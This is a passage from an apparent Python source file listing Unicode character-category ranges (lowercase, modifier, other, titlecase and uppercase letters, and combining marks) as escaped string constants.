\u1e5d\u1e5f\u1e61\u1e63\u1e65\u1e67\u1e69\u1e6b\u1e6d\u1e6f\u1e71\u1e73\u1e75\u1e77\u1e79\u1e7b\u1e7d\u1e7f\u1e81\u1e83\u1e85\u1e87\u1e89\u1e8b\u1e8d\u1e8f\u1e91\u1e93\u1e95-\u1e9d\u1e9f\u1ea1\u1ea3\u1ea5\u1ea7\u1ea9\u1eab\u1ead\u1eaf\u1eb1\u1eb3\u1eb5\u1eb7\u1eb9\u1ebb\u1ebd\u1ebf\u1ec1\u1ec3\u1ec5\u1ec7\u1ec9\u1ecb\u1ecd\u1ecf\u1ed1\u1ed3\u1ed5\u1ed7\u1ed9\u1edb\u1edd\u1edf\u1ee1\u1ee3\u1ee5\u1ee7\u1ee9\u1eeb\u1eed\u1eef\u1ef1\u1ef3\u1ef5\u1ef7\u1ef9\u1efb\u1efd\u1eff-\u1f07\u1f10-\u1f15\u1f20-\u1f27\u1f30-\u1f37\u1f40-\u1f45\u1f50-\u1f57\u1f60-\u1f67\u1f70-\u1f7d\u1f80-\u1f87\u1f90-\u1f97\u1fa0-\u1fa7\u1fb0-\u1fb4\u1fb6-\u1fb7\u1fbe\u1fc2-\u1fc4\u1fc6-\u1fc7\u1fd0-\u1fd3\u1fd6-\u1fd7\u1fe0-\u1fe7\u1ff2-\u1ff4\u1ff6-\u1ff7\u210a\u210e-\u210f\u2113\u212f\u2134\u2139\u213c-\u213d\u2146-\u2149\u214e\u2184\u2c30-\u2c5e\u2c61\u2c65-\u2c66\u2c68\u2c6a\u2c6c\u2c71\u2c73-\u2c74\u2c76-\u2c7b\u2c81\u2c83\u2c85\u2c87\u2c89\u2c8b\u2c8d\u2c8f\u2c91\u2c93\u2c95\u2c97\u2c99\u2c9b\u2c9d\u2c9f\u2ca1\u2ca3\u2ca5\u2ca7\u2ca9\u2cab\u2cad\u2caf\u2cb1\u2cb3\u2cb5\u2cb7\u2cb9\u2cbb\u2cbd\u2cbf\u2cc1\u2cc3\u2cc5\u2cc7\u2cc9\u2ccb\u2ccd\u2ccf\u2cd1\u2cd3\u2cd5\u2cd7\u2cd9\u2cdb\u2cdd\u2cdf\u2ce1\u2ce3-\u2ce4\u2cec\u2cee\u2cf3\u2d00-\u2d25\u2d27\u2d2d\ua641\ua643\ua645\ua647\ua649\ua64b\ua64d\ua64f\ua651\ua653\ua655\ua657\ua659\ua65b\ua65d\ua65f\ua661\ua663\ua665\ua667\ua669\ua66b\ua66d\ua681\ua683\ua685\ua687\ua689\ua68b\ua68d\ua68f\ua691\ua693\ua695\ua697\ua699\ua69b\ua723\ua725\ua727\ua729\ua72b\ua72d\ua72f-\ua731\ua733\ua735\ua737\ua739\ua73b\ua73d\ua73f\ua741\ua743\ua745\ua747\ua749\ua74b\ua74d\ua74f\ua751\ua753\ua755\ua757\ua759\ua75b\ua75d\ua75f\ua761\ua763\ua765\ua767\ua769\ua76b\ua76d\ua76f\ua771-\ua778\ua77a\ua77c\ua77f\ua781\ua783\ua785\ua787\ua78c\ua78e\ua791\ua793-\ua795\ua797\ua799\ua79b\ua79d\ua79f\ua7a1\ua7a3\ua7a5\ua7a7\ua7a9\ua7af\ua7b5\ua7b7\ua7b9\ua7fa\uab30-\uab5a\uab60-\uab65\uab70-\uabbf\ufb00-\ufb06\ufb13-\ufb17\uff41-\uff5a\U00010428-\U0001044f\U000104d8-\U000104fb\U00010cc0-\U00010cf2\U000118c0-\U000118df\U00016e60-\U00016e7f\U0001d41a-\U0001d433\U0001d44e-\U0001d454\U0001d456-\U0001d467\U0001d482-\U0001d49b\U0001d4b6-\U0001d4b9\U0001d4bb\U0001d4bd-\U0001d4c3\U0001d4c5-\U0001d4cf\U0001d4ea-\U0001d503\U0001d51e-\U0001d537\U0001d552-\U0001d56b\U0001d586-\U0001d59f\U0001d5ba-\U0001d5d3\U0001d5ee-\U0001d607\U0001d622-\U0001d63b\U0001d656-\U0001d66f\U0001d68a-\U0001d6a5\U0001d6c2-\U0001d6da\U0001d6dc-\U0001d6e1\U0001d6fc-\U0001d714\U0001d716-\U0001d71b\U0001d736-\U0001d74e\U0001d750-\U0001d755\U0001d770-\U0001d788\U0001d78a-\U0001d78f\U0001d7aa-\U0001d7c2\U0001d7c4-\U0001d7c9\U0001d7cb\U0001e922-\U0001e943' - -Lm = '\u02b0-\u02c1\u02c6-\u02d1\u02e0-\u02e4\u02ec\u02ee\u0374\u037a\u0559\u0640\u06e5-\u06e6\u07f4-\u07f5\u07fa\u081a\u0824\u0828\u0971\u0e46\u0ec6\u10fc\u17d7\u1843\u1aa7\u1c78-\u1c7d\u1d2c-\u1d6a\u1d78\u1d9b-\u1dbf\u2071\u207f\u2090-\u209c\u2c7c-\u2c7d\u2d6f\u2e2f\u3005\u3031-\u3035\u303b\u309d-\u309e\u30fc-\u30fe\ua015\ua4f8-\ua4fd\ua60c\ua67f\ua69c-\ua69d\ua717-\ua71f\ua770\ua788\ua7f8-\ua7f9\ua9cf\ua9e6\uaa70\uaadd\uaaf3-\uaaf4\uab5c-\uab5f\uff70\uff9e-\uff9f\U00016b40-\U00016b43\U00016f93-\U00016f9f\U00016fe0-\U00016fe1' - -Lo = '\xaa\xba\u01bb\u01c0-\u01c3\u0294\u05d0-\u05ea\u05ef-\u05f2\u0620-\u063f\u0641-\u064a\u066e-\u066f\u0671-\u06d3\u06d5\u06ee-\u06ef\u06fa-\u06fc\u06ff\u0710\u0712-\u072f\u074d-\u07a5\u07b1\u07ca-\u07ea\u0800-\u0815\u0840-\u0858\u0860-\u086a\u08a0-\u08b4\u08b6-\u08bd\u0904-\u0939\u093d\u0950\u0958-\u0961\u0972-\u0980\u0985-\u098c\u098f-\u0990\u0993-\u09a8\u09aa-\u09b0\u09b2\u09b6-\u09b9\u09bd\u09ce\u09dc-\u09dd\u09df-\u09e1\u09f0-\u09f1\u09fc\u0a05-\u0a0a\u0a0f-\u0a10\u0a13-\u0a28\u0a2a-\u0a30\u0a32-\u0a33\u0a35-\u0a36\u0a38-\u0a39\u0a59-\u0a5c\u0a5e\u0a72-\u0a74\u0a85-\u0a8d\u0a8f-\u0a91\u0a93-\u0aa8\u0aaa-\u0ab0\u0ab2-\u0ab3\u0ab5-\u0ab9\u0abd\u0ad0\u0ae0-\u0ae1\u0af9\u0b05-\u0b0c\u0b0f-\u0b10\u0b13-\u0b28\u0b2a-\u0b30\u0b32-\u0b33\u0b35-\u0b39\u0b3d\u0b5c-\u0b5d\u0b5f-\u0b61\u0b71\u0b83\u0b85-\u0b8a\u0b8e-\u0b90\u0b92-\u0b95\u0b99-\u0b9a\u0b9c\u0b9e-\u0b9f\u0ba3-\u0ba4\u0ba8-\u0baa\u0bae-\u0bb9\u0bd0\u0c05-\u0c0c\u0c0e-\u0c10\u0c12-\u0c28\u0c2a-\u0c39\u0c3d\u0c58-\u0c5a\u0c60-\u0c61\u0c80\u0c85-\u0c8c\u0c8e-\u0c90\u0c92-\u0ca8\u0caa-\u0cb3\u0cb5-\u0cb9\u0cbd\u0cde\u0ce0-\u0ce1\u0cf1-\u0cf2\u0d05-\u0d0c\u0d0e-\u0d10\u0d12-\u0d3a\u0d3d\u0d4e\u0d54-\u0d56\u0d5f-\u0d61\u0d7a-\u0d7f\u0d85-\u0d96\u0d9a-\u0db1\u0db3-\u0dbb\u0dbd\u0dc0-\u0dc6\u0e01-\u0e30\u0e32-\u0e33\u0e40-\u0e45\u0e81-\u0e82\u0e84\u0e87-\u0e88\u0e8a\u0e8d\u0e94-\u0e97\u0e99-\u0e9f\u0ea1-\u0ea3\u0ea5\u0ea7\u0eaa-\u0eab\u0ead-\u0eb0\u0eb2-\u0eb3\u0ebd\u0ec0-\u0ec4\u0edc-\u0edf\u0f00\u0f40-\u0f47\u0f49-\u0f6c\u0f88-\u0f8c\u1000-\u102a\u103f\u1050-\u1055\u105a-\u105d\u1061\u1065-\u1066\u106e-\u1070\u1075-\u1081\u108e\u1100-\u1248\u124a-\u124d\u1250-\u1256\u1258\u125a-\u125d\u1260-\u1288\u128a-\u128d\u1290-\u12b0\u12b2-\u12b5\u12b8-\u12be\u12c0\u12c2-\u12c5\u12c8-\u12d6\u12d8-\u1310\u1312-\u1315\u1318-\u135a\u1380-\u138f\u1401-\u166c\u166f-\u167f\u1681-\u169a\u16a0-\u16ea\u16f1-\u16f8\u1700-\u170c\u170e-\u1711\u1720-\u1731\u1740-\u1751\u1760-\u176c\u176e-\u1770\u1780-\u17b3\u17dc\u1820-\u1842\u1844-\u1878\u1880-\u1884\u1887-\u18a8\u18aa\u18b0-\u18f5\u1900-\u191e\u1950-\u196d\u1970-\u1974\u1980-\u19ab\u19b0-\u19c9\u1a00-\u1a16\u1a20-\u1a54\u1b05-\u1b33\u1b45-\u1b4b\u1b83-\u1ba0\u1bae-\u1baf\u1bba-\u1be5\u1c00-\u1c23\u1c4d-\u1c4f\u1c5a-\u1c77\u1ce9-\u1cec\u1cee-\u1cf1\u1cf5-\u1cf6\u2135-\u2138\u2d30-\u2d67\u2d80-\u2d96\u2da0-\u2da6\u2da8-\u2dae\u2db0-\u2db6\u2db8-\u2dbe\u2dc0-\u2dc6\u2dc8-\u2dce\u2dd0-\u2dd6\u2dd8-\u2dde\u3006\u303c\u3041-\u3096\u309f\u30a1-\u30fa\u30ff\u3105-\u312f\u3131-\u318e\u31a0-\u31ba\u31f0-\u31ff\u3400-\u4db5\u4e00-\u9fef\ua000-\ua014\ua016-\ua48c\ua4d0-\ua4f7\ua500-\ua60b\ua610-\ua61f\ua62a-\ua62b\ua66e\ua6a0-\ua6e5\ua78f\ua7f7\ua7fb-\ua801\ua803-\ua805\ua807-\ua80a\ua80c-\ua822\ua840-\ua873\ua882-\ua8b3\ua8f2-\ua8f7\ua8fb\ua8fd-\ua8fe\ua90a-\ua925\ua930-\ua946\ua960-\ua97c\ua984-\ua9b2\ua9e0-\ua9e4\ua9e7-\ua9ef\ua9fa-\ua9fe\uaa00-\uaa28\uaa40-\uaa42\uaa44-\uaa4b\uaa60-\uaa6f\uaa71-\uaa76\uaa7a\uaa7e-\uaaaf\uaab1\uaab5-\uaab6\uaab9-\uaabd\uaac0\uaac2\uaadb-\uaadc\uaae0-\uaaea\uaaf2\uab01-\uab06\uab09-\uab0e\uab11-\uab16\uab20-\uab26\uab28-\uab2e\uabc0-\uabe2\uac00-\ud7a3\ud7b0-\ud7c6\ud7cb-\ud7fb\uf900-\ufa6d\ufa70-\ufad9\ufb1d\ufb1f-\ufb28\ufb2a-\ufb36\ufb38-\ufb3c\ufb3e\ufb40-\ufb41\ufb43-\ufb44\ufb46-\ufbb1\ufbd3-\ufd3d\ufd50-\ufd8f\ufd92-\ufdc7\ufdf0-\ufdfb\ufe70-\ufe74\ufe76-\ufefc\uff66-\uff6f\uff71-\uff9d\uffa0-\uffbe\uffc2-\uffc7\uffca-\uffcf\uffd2-\uffd7\uffda-\uffdc\U00010000-\U0001000b\U0001000d-\U00010026\U00010028-\U0001003a\U0001003c-\U0001003d\U0001003f-\U0001004d\U00010050-\U0001005d\U00010080-\U000100fa\U00010280-\U0001029c\U000102a0-\U000102d0\U00010300-\U0001031f\U0001032d-\U00010340\U00010342-\U00010349\U00010350-\U00010375\U00010380-\U0001039d\U000103a0-\U000103c3\U000103c8-\U000103cf\U00010450-\U0001049d\U00010500-\U00010527\U00010530-\U00010563\U00010600-\U00010736\U00010740-\U00010755\U00010760-\U00010767\U00010800-\U00010805\U00010808\U0001080a-\U00010835\U00010837-\U00010838\U0001083c\U0001083f-\U00010855\U00010860-\U00010876\U00010880-\U0001089e\U000108e0-\U000108f2\U000108f4-\U000108f5\U00010900-\U00010915\U00010920-\U00010939\U00010980-\U000109b7\U000109be-\U000109bf\U00010a00\U00010a10-\U00010a13\U00010a15-\U00010a17\U00010a19-\U00010a35\U00010a60-\U00010a7c\U00010a80-\U00010a9c\U00010ac0-\U00010ac7\U00010ac9-\U00010ae4\U00010b00-\U00010b35\U00010b40-\U00010b55\U00010b60-\U00010b72\U00010b80-\U00010b91\U00010c00-\U00010c48\U00010d00-\U00010d23\U00010f00-\U00010f1c\U00010f27\U00010f30-\U00010f45\U00011003-\U00011037\U00011083-\U000110af\U000110d0-\U000110e8\U00011103-\U00011126\U00011144\U00011150-\U00011172\U00011176\U00011183-\U000111b2\U000111c1-\U000111c4\U000111da\U000111dc\U00011200-\U00011211\U00011213-\U0001122b\U00011280-\U00011286\U00011288\U0001128a-\U0001128d\U0001128f-\U0001129d\U0001129f-\U000112a8\U000112b0-\U000112de\U00011305-\U0001130c\U0001130f-\U00011310\U00011313-\U00011328\U0001132a-\U00011330\U00011332-\U00011333\U00011335-\U00011339\U0001133d\U00011350\U0001135d-\U00011361\U00011400-\U00011434\U00011447-\U0001144a\U00011480-\U000114af\U000114c4-\U000114c5\U000114c7\U00011580-\U000115ae\U000115d8-\U000115db\U00011600-\U0001162f\U00011644\U00011680-\U000116aa\U00011700-\U0001171a\U00011800-\U0001182b\U000118ff\U00011a00\U00011a0b-\U00011a32\U00011a3a\U00011a50\U00011a5c-\U00011a83\U00011a86-\U00011a89\U00011a9d\U00011ac0-\U00011af8\U00011c00-\U00011c08\U00011c0a-\U00011c2e\U00011c40\U00011c72-\U00011c8f\U00011d00-\U00011d06\U00011d08-\U00011d09\U00011d0b-\U00011d30\U00011d46\U00011d60-\U00011d65\U00011d67-\U00011d68\U00011d6a-\U00011d89\U00011d98\U00011ee0-\U00011ef2\U00012000-\U00012399\U00012480-\U00012543\U00013000-\U0001342e\U00014400-\U00014646\U00016800-\U00016a38\U00016a40-\U00016a5e\U00016ad0-\U00016aed\U00016b00-\U00016b2f\U00016b63-\U00016b77\U00016b7d-\U00016b8f\U00016f00-\U00016f44\U00016f50\U00017000-\U000187f1\U00018800-\U00018af2\U0001b000-\U0001b11e\U0001b170-\U0001b2fb\U0001bc00-\U0001bc6a\U0001bc70-\U0001bc7c\U0001bc80-\U0001bc88\U0001bc90-\U0001bc99\U0001e800-\U0001e8c4\U0001ee00-\U0001ee03\U0001ee05-\U0001ee1f\U0001ee21-\U0001ee22\U0001ee24\U0001ee27\U0001ee29-\U0001ee32\U0001ee34-\U0001ee37\U0001ee39\U0001ee3b\U0001ee42\U0001ee47\U0001ee49\U0001ee4b\U0001ee4d-\U0001ee4f\U0001ee51-\U0001ee52\U0001ee54\U0001ee57\U0001ee59\U0001ee5b\U0001ee5d\U0001ee5f\U0001ee61-\U0001ee62\U0001ee64\U0001ee67-\U0001ee6a\U0001ee6c-\U0001ee72\U0001ee74-\U0001ee77\U0001ee79-\U0001ee7c\U0001ee7e\U0001ee80-\U0001ee89\U0001ee8b-\U0001ee9b\U0001eea1-\U0001eea3\U0001eea5-\U0001eea9\U0001eeab-\U0001eebb\U00020000-\U0002a6d6\U0002a700-\U0002b734\U0002b740-\U0002b81d\U0002b820-\U0002cea1\U0002ceb0-\U0002ebe0\U0002f800-\U0002fa1d' - -Lt = '\u01c5\u01c8\u01cb\u01f2\u1f88-\u1f8f\u1f98-\u1f9f\u1fa8-\u1faf\u1fbc\u1fcc\u1ffc' - -Lu = 'A-Z\xc0-\xd6\xd8-\xde\u0100\u0102\u0104\u0106\u0108\u010a\u010c\u010e\u0110\u0112\u0114\u0116\u0118\u011a\u011c\u011e\u0120\u0122\u0124\u0126\u0128\u012a\u012c\u012e\u0130\u0132\u0134\u0136\u0139\u013b\u013d\u013f\u0141\u0143\u0145\u0147\u014a\u014c\u014e\u0150\u0152\u0154\u0156\u0158\u015a\u015c\u015e\u0160\u0162\u0164\u0166\u0168\u016a\u016c\u016e\u0170\u0172\u0174\u0176\u0178-\u0179\u017b\u017d\u0181-\u0182\u0184\u0186-\u0187\u0189-\u018b\u018e-\u0191\u0193-\u0194\u0196-\u0198\u019c-\u019d\u019f-\u01a0\u01a2\u01a4\u01a6-\u01a7\u01a9\u01ac\u01ae-\u01af\u01b1-\u01b3\u01b5\u01b7-\u01b8\u01bc\u01c4\u01c7\u01ca\u01cd\u01cf\u01d1\u01d3\u01d5\u01d7\u01d9\u01db\u01de\u01e0\u01e2\u01e4\u01e6\u01e8\u01ea\u01ec\u01ee\u01f1\u01f4\u01f6-\u01f8\u01fa\u01fc\u01fe\u0200\u0202\u0204\u0206\u0208\u020a\u020c\u020e\u0210\u0212\u0214\u0216\u0218\u021a\u021c\u021e\u0220\u0222\u0224\u0226\u0228\u022a\u022c\u022e\u0230\u0232\u023a-\u023b\u023d-\u023e\u0241\u0243-\u0246\u0248\u024a\u024c\u024e\u0370\u0372\u0376\u037f\u0386\u0388-\u038a\u038c\u038e-\u038f\u0391-\u03a1\u03a3-\u03ab\u03cf\u03d2-\u03d4\u03d8\u03da\u03dc\u03de\u03e0\u03e2\u03e4\u03e6\u03e8\u03ea\u03ec\u03ee\u03f4\u03f7\u03f9-\u03fa\u03fd-\u042f\u0460\u0462\u0464\u0466\u0468\u046a\u046c\u046e\u0470\u0472\u0474\u0476\u0478\u047a\u047c\u047e\u0480\u048a\u048c\u048e\u0490\u0492\u0494\u0496\u0498\u049a\u049c\u049e\u04a0\u04a2\u04a4\u04a6\u04a8\u04aa\u04ac\u04ae\u04b0\u04b2\u04b4\u04b6\u04b8\u04ba\u04bc\u04be\u04c0-\u04c1\u04c3\u04c5\u04c7\u04c9\u04cb\u04cd\u04d0\u04d2\u04d4\u04d6\u04d8\u04da\u04dc\u04de\u04e0\u04e2\u04e4\u04e6\u04e8\u04ea\u04ec\u04ee\u04f0\u04f2\u04f4\u04f6\u04f8\u04fa\u04fc\u04fe\u0500\u0502\u0504\u0506\u0508\u050a\u050c\u050e\u0510\u0512\u0514\u0516\u0518\u051a\u051c\u051e\u0520\u0522\u0524\u0526\u0528\u052a\u052c\u052e\u0531-\u0556\u10a0-\u10c5\u10c7\u10cd\u13a0-\u13f5\u1c90-\u1cba\u1cbd-\u1cbf\u1e00\u1e02\u1e04\u1e06\u1e08\u1e0a\u1e0c\u1e0e\u1e10\u1e12\u1e14\u1e16\u1e18\u1e1a\u1e1c\u1e1e\u1e20\u1e22\u1e24\u1e26\u1e28\u1e2a\u1e2c\u1e2e\u1e30\u1e32\u1e34\u1e36\u1e38\u1e3a\u1e3c\u1e3e\u1e40\u1e42\u1e44\u1e46\u1e48\u1e4a\u1e4c\u1e4e\u1e50\u1e52\u1e54\u1e56\u1e58\u1e5a\u1e5c\u1e5e\u1e60\u1e62\u1e64\u1e66\u1e68\u1e6a\u1e6c\u1e6e\u1e70\u1e72\u1e74\u1e76\u1e78\u1e7a\u1e7c\u1e7e\u1e80\u1e82\u1e84\u1e86\u1e88\u1e8a\u1e8c\u1e8e\u1e90\u1e92\u1e94\u1e9e\u1ea0\u1ea2\u1ea4\u1ea6\u1ea8\u1eaa\u1eac\u1eae\u1eb0\u1eb2\u1eb4\u1eb6\u1eb8\u1eba\u1ebc\u1ebe\u1ec0\u1ec2\u1ec4\u1ec6\u1ec8\u1eca\u1ecc\u1ece\u1ed0\u1ed2\u1ed4\u1ed6\u1ed8\u1eda\u1edc\u1ede\u1ee0\u1ee2\u1ee4\u1ee6\u1ee8\u1eea\u1eec\u1eee\u1ef0\u1ef2\u1ef4\u1ef6\u1ef8\u1efa\u1efc\u1efe\u1f08-\u1f0f\u1f18-\u1f1d\u1f28-\u1f2f\u1f38-\u1f3f\u1f48-\u1f4d\u1f59\u1f5b\u1f5d\u1f5f\u1f68-\u1f6f\u1fb8-\u1fbb\u1fc8-\u1fcb\u1fd8-\u1fdb\u1fe8-\u1fec\u1ff8-\u1ffb\u2102\u2107\u210b-\u210d\u2110-\u2112\u2115\u2119-\u211d\u2124\u2126\u2128\u212a-\u212d\u2130-\u2133\u213e-\u213f\u2145\u2183\u2c00-\u2c2e\u2c60\u2c62-\u2c64\u2c67\u2c69\u2c6b\u2c6d-\u2c70\u2c72\u2c75\u2c7e-\u2c80\u2c82\u2c84\u2c86\u2c88\u2c8a\u2c8c\u2c8e\u2c90\u2c92\u2c94\u2c96\u2c98\u2c9a\u2c9c\u2c9e\u2ca0\u2ca2\u2ca4\u2ca6\u2ca8\u2caa\u2cac\u2cae\u2cb0\u2cb2\u2cb4\u2cb6\u2cb8\u2cba\u2cbc\u2cbe\u2cc0\u2cc2\u2cc4\u2cc6\u2cc8\u2cca\u2ccc\u2cce\u2cd0\u2cd2\u2cd4\u2cd6\u2cd8\u2cda\u2cdc\u2cde\u2ce0\u2ce2\u2ceb\u2ced\u2cf2\ua640\ua642\ua644\ua646\ua648\ua64a\ua64c\ua64e\ua650\ua652\ua654\ua656\ua658\ua65a\ua65c\ua65e\ua660\ua662\ua664\ua666\ua668\ua66a\ua66c\ua680\ua682\ua684\ua686\ua688\ua68a\ua68c\ua68e\ua690\ua692\ua694\ua696\ua698\ua69a\ua722\ua724\ua726\ua728\ua72a\ua72c\ua72e\ua732\ua734\ua736\ua738\ua73a\ua73c\ua73e\ua740\ua742\ua744\ua746\ua748\ua74a\ua74c\ua74e\ua750\ua752\ua754\ua756\ua758\ua75a\ua75c\ua75e\ua760\ua762\ua764\ua766\ua768\ua76a\ua76c\ua76e\ua779\ua77b\ua77d-\ua77e\ua780\ua782\ua784\ua786\ua78b\ua78d\ua790\ua792\ua796\ua798\ua79a\ua79c\ua79e\ua7a0\ua7a2\ua7a4\ua7a6\ua7a8\ua7aa-\ua7ae\ua7b0-\ua7b4\ua7b6\ua7b8\uff21-\uff3a\U00010400-\U00010427\U000104b0-\U000104d3\U00010c80-\U00010cb2\U000118a0-\U000118bf\U00016e40-\U00016e5f\U0001d400-\U0001d419\U0001d434-\U0001d44d\U0001d468-\U0001d481\U0001d49c\U0001d49e-\U0001d49f\U0001d4a2\U0001d4a5-\U0001d4a6\U0001d4a9-\U0001d4ac\U0001d4ae-\U0001d4b5\U0001d4d0-\U0001d4e9\U0001d504-\U0001d505\U0001d507-\U0001d50a\U0001d50d-\U0001d514\U0001d516-\U0001d51c\U0001d538-\U0001d539\U0001d53b-\U0001d53e\U0001d540-\U0001d544\U0001d546\U0001d54a-\U0001d550\U0001d56c-\U0001d585\U0001d5a0-\U0001d5b9\U0001d5d4-\U0001d5ed\U0001d608-\U0001d621\U0001d63c-\U0001d655\U0001d670-\U0001d689\U0001d6a8-\U0001d6c0\U0001d6e2-\U0001d6fa\U0001d71c-\U0001d734\U0001d756-\U0001d76e\U0001d790-\U0001d7a8\U0001d7ca\U0001e900-\U0001e921' - -Mc = '\u0903\u093b\u093e-\u0940\u0949-\u094c\u094e-\u094f\u0982-\u0983\u09be-\u09c0\u09c7-\u09c8\u09cb-\u09cc\u09d7\u0a03\u0a3e-\u0a40\u0a83\u0abe-\u0ac0\u0ac9\u0acb-\u0acc\u0b02-\u0b03\u0b3e\u0b40\u0b47-\u0b48\u0b4b-\u0b4c\u0b57\u0bbe-\u0bbf\u0bc1-\u0bc2\u0bc6-\u0bc8\u0bca-\u0bcc\u0bd7\u0c01-\u0c03\u0c41-\u0c44\u0c82-\u0c83\u0cbe\u0cc0-\u0cc4\u0cc7-\u0cc8\u0cca-\u0ccb\u0cd5-\u0cd6\u0d02-\u0d03\u0d3e-\u0d40\u0d46-\u0d48\u0d4a-\u0d4c\u0d57\u0d82-\u0d83\u0dcf-\u0dd1\u0dd8-\u0ddf\u0df2-\u0df3\u0f3e-\u0f3f\u0f7f\u102b-\u102c\u1031\u1038\u103b-\u103c\u1056-\u1057\u1062-\u1064\u1067-\u106d\u1083-\u1084\u1087-\u108c\u108f\u109a-\u109c\u17b6\u17be-\u17c5\u17c7-\u17c8\u1923-\u1926\u1929-\u192b\u1930-\u1931\u1933-\u1938\u1a19-\u1a1a\u1a55\u1a57\u1a61\u1a63-\u1a64\u1a6d-\u1a72\u1b04\u1b35\u1b3b\u1b3d-\u1b41\u1b43-\u1b44\u1b82\u1ba1\u1ba6-\u1ba7\u1baa\u1be7\u1bea-\u1bec\u1bee\u1bf2-\u1bf3\u1c24-\u1c2b\u1c34-\u1c35\u1ce1\u1cf2-\u1cf3\u1cf7\u302e-\u302f\ua823-\ua824\ua827\ua880-\ua881\ua8b4-\ua8c3\ua952-\ua953\ua983\ua9b4-\ua9b5\ua9ba-\ua9bb\ua9bd-\ua9c0\uaa2f-\uaa30\uaa33-\uaa34\uaa4d\uaa7b\uaa7d\uaaeb\uaaee-\uaaef\uaaf5\uabe3-\uabe4\uabe6-\uabe7\uabe9-\uabea\uabec\U00011000\U00011002\U00011082\U000110b0-\U000110b2\U000110b7-\U000110b8\U0001112c\U00011145-\U00011146\U00011182\U000111b3-\U000111b5\U000111bf-\U000111c0\U0001122c-\U0001122e\U00011232-\U00011233\U00011235\U000112e0-\U000112e2\U00011302-\U00011303\U0001133e-\U0001133f\U00011341-\U00011344\U00011347-\U00011348\U0001134b-\U0001134d\U00011357\U00011362-\U00011363\U00011435-\U00011437\U00011440-\U00011441\U00011445\U000114b0-\U000114b2\U000114b9\U000114bb-\U000114be\U000114c1\U000115af-\U000115b1\U000115b8-\U000115bb\U000115be\U00011630-\U00011632\U0001163b-\U0001163c\U0001163e\U000116ac\U000116ae-\U000116af\U000116b6\U00011720-\U00011721\U00011726\U0001182c-\U0001182e\U00011838\U00011a39\U00011a57-\U00011a58\U00011a97\U00011c2f\U00011c3e\U00011ca9\U00011cb1\U00011cb4\U00011d8a-\U00011d8e\U00011d93-\U00011d94\U00011d96\U00011ef5-\U00011ef6\U00016f51-\U00016f7e\U0001d165-\U0001d166\U0001d16d-\U0001d172' - -Me = '\u0488-\u0489\u1abe\u20dd-\u20e0\u20e2-\u20e4\ua670-\ua672' - -Mn = '\u0300-\u036f\u0483-\u0487\u0591-\u05bd\u05bf\u05c1-\u05c2\u05c4-\u05c5\u05c7\u0610-\u061a\u064b-\u065f\u0670\u06d6-\u06dc\u06df-\u06e4\u06e7-\u06e8\u06ea-\u06ed\u0711\u0730-\u074a\u07a6-\u07b0\u07eb-\u07f3\u07fd\u0816-\u0819\u081b-\u0823\u0825-\u0827\u0829-\u082d\u0859-\u085b\u08d3-\u08e1\u08e3-\u0902\u093a\u093c\u0941-\u0948\u094d\u0951-\u0957\u0962-\u0963\u0981\u09bc\u09c1-\u09c4\u09cd\u09e2-\u09e3\u09fe\u0a01-\u0a02\u0a3c\u0a41-\u0a42\u0a47-\u0a48\u0a4b-\u0a4d\u0a51\u0a70-\u0a71\u0a75\u0a81-\u0a82\u0abc\u0ac1-\u0ac5\u0ac7-\u0ac8\u0acd\u0ae2-\u0ae3\u0afa-\u0aff\u0b01\u0b3c\u0b3f\u0b41-\u0b44\u0b4d\u0b56\u0b62-\u0b63\u0b82\u0bc0\u0bcd\u0c00\u0c04\u0c3e-\u0c40\u0c46-\u0c48\u0c4a-\u0c4d\u0c55-\u0c56\u0c62-\u0c63\u0c81\u0cbc\u0cbf\u0cc6\u0ccc-\u0ccd\u0ce2-\u0ce3\u0d00-\u0d01\u0d3b-\u0d3c\u0d41-\u0d44\u0d4d\u0d62-\u0d63\u0dca\u0dd2-\u0dd4\u0dd6\u0e31\u0e34-\u0e3a\u0e47-\u0e4e\u0eb1\u0eb4-\u0eb9\u0ebb-\u0ebc\u0ec8-\u0ecd\u0f18-\u0f19\u0f35\u0f37\u0f39\u0f71-\u0f7e\u0f80-\u0f84\u0f86-\u0f87\u0f8d-\u0f97\u0f99-\u0fbc\u0fc6\u102d-\u1030\u1032-\u1037\u1039-\u103a\u103d-\u103e\u1058-\u1059\u105e-\u1060\u1071-\u1074\u1082\u1085-\u1086\u108d\u109d\u135d-\u135f\u1712-\u1714\u1732-\u1734\u1752-\u1753\u1772-\u1773\u17b4-\u17b5\u17b7-\u17bd\u17c6\u17c9-\u17d3\u17dd\u180b-\u180d\u1885-\u1886\u18a9\u1920-\u1922\u1927-\u1928\u1932\u1939-\u193b\u1a17-\u1a18\u1a1b\u1a56\u1a58-\u1a5e\u1a60\u1a62\u1a65-\u1a6c\u1a73-\u1a7c\u1a7f\u1ab0-\u1abd\u1b00-\u1b03\u1b34\u1b36-\u1b3a\u1b3c\u1b42\u1b6b-\u1b73\u1b80-\u1b81\u1ba2-\u1ba5\u1ba8-\u1ba9\u1bab-\u1bad\u1be6\u1be8-\u1be9\u1bed\u1bef-\u1bf1\u1c2c-\u1c33\u1c36-\u1c37\u1cd0-\u1cd2\u1cd4-\u1ce0\u1ce2-\u1ce8\u1ced\u1cf4\u1cf8-\u1cf9\u1dc0-\u1df9\u1dfb-\u1dff\u20d0-\u20dc\u20e1\u20e5-\u20f0\u2cef-\u2cf1\u2d7f\u2de0-\u2dff\u302a-\u302d\u3099-\u309a\ua66f\ua674-\ua67d\ua69e-\ua69f\ua6f0-\ua6f1\ua802\ua806\ua80b\ua825-\ua826\ua8c4-\ua8c5\ua8e0-\ua8f1\ua8ff\ua926-\ua92d\ua947-\ua951\ua980-\ua982\ua9b3\ua9b6-\ua9b9\ua9bc\ua9e5\uaa29-\uaa2e\uaa31-\uaa32\uaa35-\uaa36\uaa43\uaa4c\uaa7c\uaab0\uaab2-\uaab4\uaab7-\uaab8\uaabe-\uaabf\uaac1\uaaec-\uaaed\uaaf6\uabe5\uabe8\uabed\ufb1e\ufe00-\ufe0f\ufe20-\ufe2f\U000101fd\U000102e0\U00010376-\U0001037a\U00010a01-\U00010a03\U00010a05-\U00010a06\U00010a0c-\U00010a0f\U00010a38-\U00010a3a\U00010a3f\U00010ae5-\U00010ae6\U00010d24-\U00010d27\U00010f46-\U00010f50\U00011001\U00011038-\U00011046\U0001107f-\U00011081\U000110b3-\U000110b6\U000110b9-\U000110ba\U00011100-\U00011102\U00011127-\U0001112b\U0001112d-\U00011134\U00011173\U00011180-\U00011181\U000111b6-\U000111be\U000111c9-\U000111cc\U0001122f-\U00011231\U00011234\U00011236-\U00011237\U0001123e\U000112df\U000